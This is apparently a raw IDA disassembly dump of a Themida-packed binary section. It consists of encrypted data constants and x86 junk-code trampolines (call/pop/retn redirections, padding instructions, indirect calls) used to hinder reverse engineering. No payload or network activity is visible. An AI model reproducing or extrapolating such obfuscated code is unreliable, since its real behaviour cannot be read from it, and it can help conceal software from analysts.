dd 0D055C73Eh, 905D7291h, 0F99D8DCEh, 6A06141Ah, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 0CEF1C351h, 9B9BD8Bh, 0B58B0614h, 61418CDh, 0FEFF2381h
dd 8C0FFFFFh, 18h, 13E9h, 0A4240C00h, 80345AEFh, 6A907979h
dd 0BAD76379h, 0D9A4AE77h, 66DB8C66h, 0C3F6F88Bh, 21840F04h
dd 8B000000h, 4595FFF8h, 0B06142Eh, 1425D9B5h, 7E85006h
dd 9F000000h, 90BA66B9h, 895E3AE5h, 0F18B2404h, 3D4E9h
dd 0CCF68100h, 0B03FBA2Fh, 6A70E600h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E4E2C350h
dd 52006A71h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 980B8ADEh, 0F442620h, 9E9D8B6h, 0D4000000h
dd 0C03F46F8h, 92B06C45h, 9DBD0B56h, 5F06142Bh, 6BAh, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 59FAF1D5h, 47AF34Eh, 840F4877h, 5, 0FEB1FCBEh, 6AC38B33h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 7141C352h, 31E6BEDCh, 0E8C15F6Dh, 55006A04h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0CDC2A6E8h, 234F350Bh, 95893AB4h, 6141C9Dh, 89E2F766h
dd 142D09BDh, 6AD82B06h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 0DFDCC351h, 1F66C498h
dd 89ADEB7Ch, 1416858Dh, 0C5958906h, 50061434h, 66241C89h
dd 48EFE781h, 1AA5B5FFh, 81600614h, 3172C5C6h, 0E6B96663h
dd 95FF617Dh, 6141169h, 2D398509h, 0B00614h, 6A70E6h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 7F61D8C3h, 22C0E681h, 0BD892B08h, 61418CDh, 800F71E4h
dd 3, 81F08B66h, 0CDE34D7h, 0F613C36h, 24083h, 0D8B60F00h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 32C35242h
dd 61BD2930h, 0BA061421h, 6, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 17C35040h, 72018841h, 0C38BD66Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 55C35040h
dd 0A86EF82Ch, 0BD9D8933h, 0C1061425h, 6A04E8h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 88F76DC3h, 66A81267h, 0B58BE2F7h, 6141C11h, 6AD82Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 860F89C3h, 6, 1AE9B589h, 66580614h, 0E9994DBFh, 0Bh
dd 55F710E5h, 0C6234100h, 2BC29E97h, 56880FD8h, 0F000001h
dd 8Eh, 7B900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 0F4648C3h, 1089B58Bh
dd 0C1830614h, 39B58B00h, 3B06140Fh, 16860FD9h, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0B768C357h, 50BD6F34h, 47DCEE86h, 0F6D98C66h
dd 840F04C1h, 0DDh, 95FFF88Bh, 6142E45h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 13C35646h, 728CBA6Ah
dd 66ACF80Ah, 0BD03F18Bh, 6141A91h, 0FE95Bh, 36DE0000h
dd 0AC908B13h, 2AF54234h, 0C51D4835h, 6AC32BE9h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 36CBC357h, 0C0DE8CC6h, 89B718EAh, 14265985h, 8343D06h
dd 860F0000h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Dh, 0F5C35343h, 7F6F06D1h, 0F0979828h, 0F7B70F3Eh
dd 38E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 9E127515h, 1C718157h, 6E9399Eh, 61000000h
dd 6B1C0C36h, 89C08BFFh, 142EE18Dh, 8BC38B06h, 71BD89D8h
dd 0BF061406h, 667CE169h, 20B585C7h, 139D0614h, 0C08B7E91h
dd 1AA5BD81h, 7D00614h, 850F0000h, 52h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 14h, 2FC35242h, 0AD858B60h
dd 6106140Bh, 1AA585FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 304CC3h, 0DDA731D2h
dd 0AC6CBF84h, 0B5FF6615h, 6141AA5h, 0DE8h, 1D5EB100h
dd 0F80B2A8Bh, 77D4F147h, 0BE66BA18h, 0FF5F77CEh, 14116995h
dd 38D0F06h, 66000000h, 6690FB8Bh, 8B9FB7BFh, 140BF1BDh
dd 2DE9BF06h, 0BF0F6C45h, 0E78166FEh, 6AAC0Ch, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 29C6C3C3h, 1419A5BDh, 0F88B6606h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 44C35646h, 519589D5h, 66061409h
dd 0B38CE81h, 0F81BD8Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 0BEA77EC3h, 0C879B32h
dd 0FCF7B70Fh, 56006AF5h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 13F33D42h, 0D5B52B56h
dd 0BF06141Ah, 0ED0491Fh, 18E9BD09h, 0BF0F0614h, 21BD8BF3h
dd 8906140Fh, 142AA995h, 840FF506h, 0Ch, 2B05BD8Bh, 8D890614h
dd 61408E9h, 12E9h, 0D7BFD500h, 231420F6h, 0F971D46Bh
dd 0AF12CC09h, 95E8AA3h, 1425CDB5h, 0F86EE906h, 0BD8BFFFFh
dd 6141075h, 7E52E1BEh
; ---------------------------------------------------------------------------
loc_58A240: ; DATA XREF: Themida_:00549588o
jg short loc_58A2A2
push 0
push ebx
call sub_58A24D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A24D proc near ; CODE XREF: Themida_:0058A245p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_58A24D endp
; ---------------------------------------------------------------------------
db 50h, 0A9h, 0FBh
; ---------------------------------------------------------------------------
jmp loc_58A273
; ---------------------------------------------------------------------------
db 1Ah, 37h, 29h
dd 0D77ED777h, 83941EAFh
db 8Ch, 0C5h, 22h
; ---------------------------------------------------------------------------
loc_58A273: ; CODE XREF: Themida_:0058A260j
mov ecx, 0FFFFFFFEh
push 0
push esi
call sub_58A283
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A283 proc near ; CODE XREF: Themida_:0058A27Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58A283 endp
; ---------------------------------------------------------------------------
db 5Bh
dd 8B4AAFE3h, 0B58B9CA9h, 61431C1h
db 21h, 8Dh
; ---------------------------------------------------------------------------
loc_58A2A2: ; CODE XREF: Themida_:loc_58A240j
jnz short near ptr loc_58A2BD+2
adc al, 6
pusha
mov ebx, [ebp+6140791h]
mov edx, [ebp+6142C7Dh]
popa
and [ebp+6140531h], ecx
push 0
push ebx
loc_58A2BD: ; CODE XREF: Themida_:loc_58A2A2j
call sub_58A2C5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A2C5 proc near ; CODE XREF: Themida_:loc_58A2BDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_58A2C5 endp
; ---------------------------------------------------------------------------
lodsd
push ebx
xor ax, 7933h
pop esi
mov bx, 0D618h
mov ecx, [ebp+6141B75h]
mov edx, 3D284864h
and ecx, 1
jnz loc_58A2FB
mov esi, [ebp+614230Dh]
loc_58A2FB: ; CODE XREF: Themida_:0058A2EFj
mov ecx, [ebp+6140531h]
push 0
push eax
call sub_58A30C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A30C proc near ; CODE XREF: Themida_:0058A304p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_58A30C endp
; ---------------------------------------------------------------------------
pusha
mov ebx, [ebp+61422D5h]
sub [ebp+614100Dh], ecx
and ecx, 1
jnz loc_58A357
push 0
push edx
call sub_58A33D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A33D proc near ; CODE XREF: Themida_:0058A335p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58A33D endp
; ---------------------------------------------------------------------------
db 0FCh, 0, 2Eh
dd 0CDD0A128h
; ---------------------------------------------------------------------------
and [ecx-44h], esi
loc_58A357: ; CODE XREF: Themida_:0058A32Cj
popa
pusha
push 0
push edi
call sub_58A364
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A364 proc near ; CODE XREF: Themida_:0058A35Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_58A364 endp
; ---------------------------------------------------------------------------
xchg eax, ecx
shl byte ptr [edi+5Ah], 3Ch
or dx, 223Fh
jmp loc_58A38E
; ---------------------------------------------------------------------------
db 3Ah
dd 0CABB3872h, 0A38E909Dh
db 0DBh, 83h
; ---------------------------------------------------------------------------
loc_58A38E: ; CODE XREF: Themida_:0058A37Ej
mov ecx, 0FFFFFFFEh
push 0
push edx
call sub_58A39E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A39E proc near ; CODE XREF: Themida_:0058A396p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58A39E endp
; ---------------------------------------------------------------------------
dw 798Fh
; ---------------------------------------------------------------------------
fisub word ptr [esi-75h]
xlat
and [ebp+6141AC9h], ecx
push 0
push ebp
call sub_58A3C5
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A3C5 proc near ; CODE XREF: Themida_:0058A3BDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_58A3C5 endp
; ---------------------------------------------------------------------------
db 0A0h, 30h, 74h
; ---------------------------------------------------------------------------
mov ax, 2A9Dh
and [ebp+6140E2Dh], ecx
push 0
push eax
call sub_58A3ED
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A3ED proc near ; CODE XREF: Themida_:0058A3E5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_58A3ED endp
; ---------------------------------------------------------------------------
db 66h, 70h, 0A5h
; ---------------------------------------------------------------------------
mov dl, 90h
sub eax, 6DD7BF66h
mov ecx, [ebp+6141AC9h]
push 0
push eax
call sub_58A418
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A418 proc near ; CODE XREF: Themida_:0058A410p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_58A418 endp
; ---------------------------------------------------------------------------
push esi
and ecx, 1
jnz loc_58A453
push 0
push ecx
call sub_58A43D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A43D proc near ; CODE XREF: Themida_:0058A435p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_58A43D endp
; ---------------------------------------------------------------------------
db 8Eh, 0CDh, 7Fh
; ---------------------------------------------------------------------------
mov dx, cx
loc_58A453: ; CODE XREF: Themida_:0058A42Cj
mov ecx, [ebp+6140E2Dh]
xor [ebp+61430E9h], ebx
and ecx, 1
jnz loc_58A46E
mov edi, [ebp+6140BF5h]
loc_58A46E: ; CODE XREF: Themida_:0058A462j
popa
pusha
push 0
push eax
call sub_58A47B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A47B proc near ; CODE XREF: Themida_:0058A473p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_58A47B endp
; ---------------------------------------------------------------------------
xchg bl, [ebp+6D3D4CB4h]
mov dword ptr [edx-7FF0BFCCh], 6
sub edi, [ebp+61405EDh]
mov ecx, 0FFFFFFFEh
mov eax, [ebp+614156Dh]
and [ebp+6141AF9h], ecx
jns loc_58A4BE
mov [ebp+61430A5h], ecx
loc_58A4BE: ; CODE XREF: Themida_:0058A4B2j
and [ebp+6142A05h], ecx
mov si, 0EA13h
mov ecx, [ebp+6141AF9h]
push 0
push eax
call sub_58A4D9
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A4D9 proc near ; CODE XREF: Themida_:0058A4D1p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_58A4D9 endp
; ---------------------------------------------------------------------------
db 94h, 30h, 58h
dd 839A2174h, 850F01E1h, 0Ch, 249BD8Bh, 0DA810614h, 77C304F9h
dd 2A058D8Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 170BD7C3h, 9493237Ch, 73BE0026h
dd 600AE4ECh, 14B18D33h, 8B600614h, 140A5185h, 11E906h
dd 44960000h, 0ECBD939Ah, 0CB15D35Ah, 7303488Bh, 6143484Bh
dd 1E18361h, 2C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0A740BC3h, 0CE16D42Ah
dd 16C58D89h, 0BE660614h, 6061A130h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0EAC35242h, 445C6FEDh, 0E1186478h
dd 14E809h, 0B6DC0000h, 0C9A0FF60h, 0DFE6FDFh, 6D734DA5h
dd 0A8D650ADh, 0B70F578Bh, 0FEB95EFFh, 8BFFFFFFh, 1400D995h
dd 0D0DF8106h, 21238441h, 1402318Dh, 0CE906h, 0BEEB0000h
dd 0DBA0217Ah, 0F1C840AEh, 9D292F77h, 6141595h, 20B58D21h
dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0F9448BC3h, 8D8BF5E6h, 6140231h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 0D0EC93DBh
dd 0B6C6106Eh, 89FE8B66h, 140315B5h, 1E18306h, 6850Fh
dd 958B0000h, 614038Dh, 20B58D8Bh, 8E90614h, 9B000000h
dd 238AE67Bh, 83B99C41h, 850F01E1h, 22h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 16h, 24C35747h, 8B60C6E4h
dd 606161CEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 0C3C35242h, 0C198D89h, 85C70614h, 6141AA5h, 7D0h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 10C35242h
dd 4665B79Fh, 31606042h, 140D5D9Dh, 8A0F06h, 61000000h
dd 0AE9h, 0D6F65500h, 4F12ACC6h, 61505446h, 56006A61h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 7FB03B06h, 5959589h, 7EB0614h, 0E99D61h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 9E97C356h, 0A65595C2h, 46DF8015h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0B7C7C0B1h
dd 14507B9Dh, 0C18BCA8Ah
; ---------------------------------------------------------------------------
jmp short loc_58A7E1
; ---------------------------------------------------------------------------
word_58A792 dw 1C8Fh ; DATA XREF: Themida_:0054B524o
; Themida_:0054BB98o
dd 8ABFA25h, 0ACDAC6A1h, 0D2D41CA4h, 0E45C5Ch, 0F53134CEh
dd 0B327CE1Bh, 5B34D129h, 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h
dd 47776B00h, 0A3EA1A00h, 0D5h, 0CB199C00h, 490000FEh
dd 0FBFEh, 0DDB48700h, 0D9202352h, 0E7339C9Eh
db 77h
; ---------------------------------------------------------------------------
loc_58A7E1: ; CODE XREF: Themida_:0058A790j
jmp loc_58BA95
; ---------------------------------------------------------------------------
mov ecx, [ebp+6141B71h]
loc_58A7EC: ; DATA XREF: Themida_:0054B81Co
cmp dword ptr [ebp+61412CDh], 0
jnz loc_58A836
mov eax, 0
mov edi, [ebp+614033Dh]
retn 4
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_58A812
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A812 proc near ; CODE XREF: Themida_:0058A80Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_58A812 endp
; ---------------------------------------------------------------------------
add al, 0Dh
retn
; ---------------------------------------------------------------------------
sub al, 0AEh
jmp loc_58A836
; ---------------------------------------------------------------------------
shr bl, 81h
mov ebp, 602C7D02h
aad 14h
loc_58A836: ; CODE XREF: Themida_:0058A7F3j
; Themida_:0058A827j
mov eax, eax
mov [ebp+61422DDh], ecx
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_58A850
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_58A863
loc_58A850: ; CODE XREF: Themida_:0058A845j
push eax
push ebx
mov eax, eax
mov eax, 4D0h
lea ebx, [ebp+616B50Eh]
call ebx
pop ebx
pop eax
loc_58A863: ; CODE XREF: Themida_:0058A84Ej
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_58A87D
push eax
push ebx
mov eax, 4D0h
lea ebx, [ebp+616B45Bh]
call ebx
pop ebx
pop eax
loc_58A87D: ; CODE XREF: Themida_:0058A86Aj
push 0
push esi
call sub_58A888
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A888 proc near ; CODE XREF: Themida_:0058A880p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58A888 endp
; ---------------------------------------------------------------------------
lahf
stosd
cdq
push ss
mov ecx, 89F8C15Fh
test esp, ecx
xor [esi+eax], dl
mov eax, eax
mov dx, 4F8h
lea eax, [ebp+6181BF6h]
mov edx, [ebp+6141BD9h]
push eax
ja loc_58A8C3
push edi
mov edx, edi
pop edi
loc_58A8C3: ; CODE XREF: Themida_:0058A8B9j
mov [esp], eax
mov [ebp+6141B5Dh], edx
lea eax, [ebp+6181BB3h]
adc edx, 5E0C76C4h
push eax
mov edx, 6EC5D61Ch
mov [esp], eax
pusha
mov edx, 2DF8D907h
mov edx, [ebp+61418F5h]
popa
mov [ebp+6142E35h], ebx
call dword ptr [ebp+614096Dh]
push 0
push eax
call sub_58A905
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A905 proc near ; CODE XREF: Themida_:0058A8FDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_58A905 endp
; ---------------------------------------------------------------------------
dec ebp
sal dword ptr [esi-746892F3h], cl
inc esp
and al, 4
pusha
mov ebx, [ebp+61422DDh]
sub [ebp+61423BDh], edi
popa
mov [ebp+6181BDEh], eax
push 0
push edx
call sub_58A93E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58A93E proc near ; CODE XREF: Themida_:0058A936p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_58A93E endp
; ---------------------------------------------------------------------------
dec ebp
adc al, 0FEh
inc esp
retn 850Fh
; ---------------------------------------------------------------------------
db 8, 2 dup(0)
dd 8D896000h, 61418B9h, 24448B61h, 4D958B08h, 8B061419h
dd 140071BDh, 0F2858906h, 0F06181Bh, 288h, 83EC8A00h, 14197DBDh
dd 850F0006h, 0D0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 66C35545h, 0EA3CA96Bh, 14BDB529h, 29560614h
dd 142A4585h, 10B65A06h, 1A5985C6h, 0E8470614h, 4, 0D49AA7D2h
dd 94067EBAh, 5250500Fh, 0FD68B66h, 12E831h, 3F640000h
dd 0C177C35Eh, 2B677739h, 67BB7373h, 3015966Fh, 5A5FD68Bh
dd 24448B58h, 8B008B04h, 244489D7h, 8B666004h, 0F5861D6h
dd 683h, 0C0DA8100h, 0FF5BACBBh, 141AD1B5h, 0ED853106h
dd 8D06140Bh, 1780DB85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 2B9A2CCFh, 88B99944h
dd 0E9BD89E9h, 0FF061402h, 0E2B966D0h, 7D8589CBh, 0F9061419h
dd 1D45BD83h, 0F000614h, 13285h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0FE9C192h
dd 43000000h, 49B908C2h, 3811F865h, 3CCE0B50h, 890F1CA1h
dd 7, 0C7816650h, 95A5F3Ah, 1423BD95h, 5985C606h, 4706141Ah
dd 0EE9h, 69946C00h, 3A747FEh, 74702F00h, 68854999h, 0F6B67C63h
dd 1A8A0Fh, 0E9600000h, 13h, 7C44A0E4h, 9189E25Eh, 90CDD929h
dd 2ECC59Eh, 6198BC16h, 81243481h, 897CB9C9h, 141B29B5h
dd 0D1B5FF06h, 6A06141Ah, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 1086C356h, 183E06EEh
dd 0D5B589ABh, 8D061422h, 1780DB85h, 91BD8906h, 0F061407h
dd 889h, 28D0F00h, 50000000h, 6AD0FF5Ah, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B733C350h
dd 8AE0C819h, 458589CEh, 6A06141Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A9D1C353h
dd 0BFA1F12Ah, 0FD15803h, 683h, 4DBD8900h, 83061408h, 1406CDBDh
dd 850F0006h, 0AEh, 0EEF8166h, 5985C660h, 5606141Ah, 0B368EE8Ah
dd 528B5CDFh, 405ABB60h, 8B665784h, 815F61F3h, 8D862404h
dd 0B58948C2h, 6141529h, 1AD1B5FFh, 6A0614h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0EC9734C3h
dd 89AD74F4h, 14142D8Dh, 0DB858D06h, 0E9061780h, 13h, 8C12A3F7h
dd 898B6A4Ah, 27F6C4A8h, 0B3E8465Bh, 0BAC5FEF7h, 3FB79B15h
dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 3C1682C3h, 0F9D958Bh, 85890614h, 61406CDh
dd 90B3CA81h, 85C62E7Ch, 6141A59h, 57006A6Ch, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 3F3836B5h
dd 683F2CC2h, 0EB55C1F0h, 0A8F0Fh, 52500000h, 310F6160h
dd 585A5951h, 73243481h, 663050B1h, 0FFAFF4B9h, 141145B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 9D897F81h, 61404D1h, 30C3C781h, 858D4701h
dd 6143B13h, 2F898D29h, 0D0FF0614h, 19818529h, 0E6800614h
dd 0E285897Ah, 8B06181Bh, 14102195h, 0FEBD8306h, 6181Bh
dd 0BE850Fh, 0BD8B0000h, 6142A4Dh, 1A5985C6h, 6A490614h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 489FC356h, 0D6305267h, 4B96448h, 6802EF17h
dd 0BDB7C869h, 3481F58Ah, 0A2E18024h, 45B5FF31h, 6A061411h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 0B484C353h, 626CAF55h, 29BF88B0h, 8D2F8CA1h
dd 143B1385h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0B16FB8D4h, 0F99F726Bh, 31BD897Fh
dd 66061411h, 0FF6C2CBAh, 2D952BD0h, 89061408h, 1421B985h
dd 0FE858906h, 6606181Bh, 32BEF81h, 0EA80046Ah, 5EA9686Ch
dd 481CAF4h, 0BB15724h, 6830F35h, 89000000h, 140E1585h
dd 4E806h, 0
dd 0F560001h, 585h, 0CAA7B900h, 505A7561h, 448BB8B2h, 8B660424h
dd 52008BD1h, 8959CA8Ah, 0F042444h, 283h, 58CB8B00h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 5FC35747h, 5D1B0B2Bh
dd 8992ED1Fh, 142EDD85h, 55958B06h, 6A061430h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 5F940A66h, 0B5896B72h, 614193Dh, 1C5595FFh, 6A0614h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0C4EE3EC3h, 8589216Ch, 6181BEEh, 0C7F9BF0Fh, 181BE685h
dd 6, 29BD8B00h, 6A06140Ah, 45958B00h, 68061415h, 832E11DEh
dd 481FB8Bh, 0D2EE2224h, 56006A7Ch, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 805B1938h, 0CE710366h
dd 90CB8B8Ah, 5840F52h, 0BA000000h, 2A12149h, 9E95059h
dd 4E000000h, 74CB6E0h, 8D39F0Ch, 0CD952990h, 6A061405h
dd 55006A0Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 0D329BBEDh, 90CBDC12h, 9523516Ch, 61430ADh
dd 0BB858D5Fh, 0F06181Bh, 88Eh, 8D295200h, 6140F19h, 6060505Fh
dd 0AE8F88Bh, 1B000000h, 3C7276F7h, 94657D65h, 0E96159E0h
dd 0Eh, 0FC473DEEh, 1EB048A2h, 83E3CFD7h, 8961A2CDh, 6A2404h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BD8998C3h, 61402A1h, 197D95FFh, 0AE90614h, 21000000h
dd 6B14A879h, 0D9DAED97h, 0C5B58DD8h, 0E906181Bh, 0Ah
dd 0DEF1F1DAh, 0D8849313h, 10E88CCBh, 46000000h, 1AA9E1B8h
dd 0CB4DD57h, 0FE015C1Ah, 8BF33FAFh, 1403E995h, 0E9505906h
dd 8, 0E94FDB5Fh, 3F9A28E1h, 0F243489h, 5150C9BFh, 895FF08Ah
dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0D5A8F0C3h, 4595FF0Ch, 6A06141Dh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 8E1AC356h, 5B652A45h, 894F930Ch, 140D0D8Dh, 0A9B52906h
dd 0B061408h, 47850FC0h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 970FC352h
dd 0B36C0EE1h, 813E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 96F91446h, 0D0FF362Fh
dd 0DE9h, 1C744500h, 26E73533h, 2FCC9421h, 958BD18Ch, 6142B15h
dd 1BEEB58Bh, 958B0618h, 614157Dh, 225DBD8Bh, 468D0614h
dd 71953120h, 6A06140Fh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0BEC35740h, 92FD8E82h
dd 0BD898F85h, 6140555h, 0E6BF6650h, 24048974h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 1C35242h, 0CDBBC169h
dd 99FE63EAh, 8C0FE3h, 0FF000000h, 181BFE95h, 44E98106h
dd 6071B512h, 22298D89h, 0B610614h, 46840FC0h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 14FFC357h, 19A314A0h, 0F1FF6ECh, 583h, 0CF816600h
dd 0DE929C5h, 0E8000007h, 6, 57875F4Fh, 95893300h, 614094Dh
dd 207E8059h, 0F1840F00h, 29000006h, 140091B5h, 27BF6006h
dd 660DA889h, 468DD38Bh, 50006A20h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 5B589FDh, 8906142Bh, 181BEA85h
dd 6820F06h, 89000000h, 14199595h, 95895606h, 6141115h
dd 14EE95Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 8112B6C3h, 88B260E6h, 52006A40h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
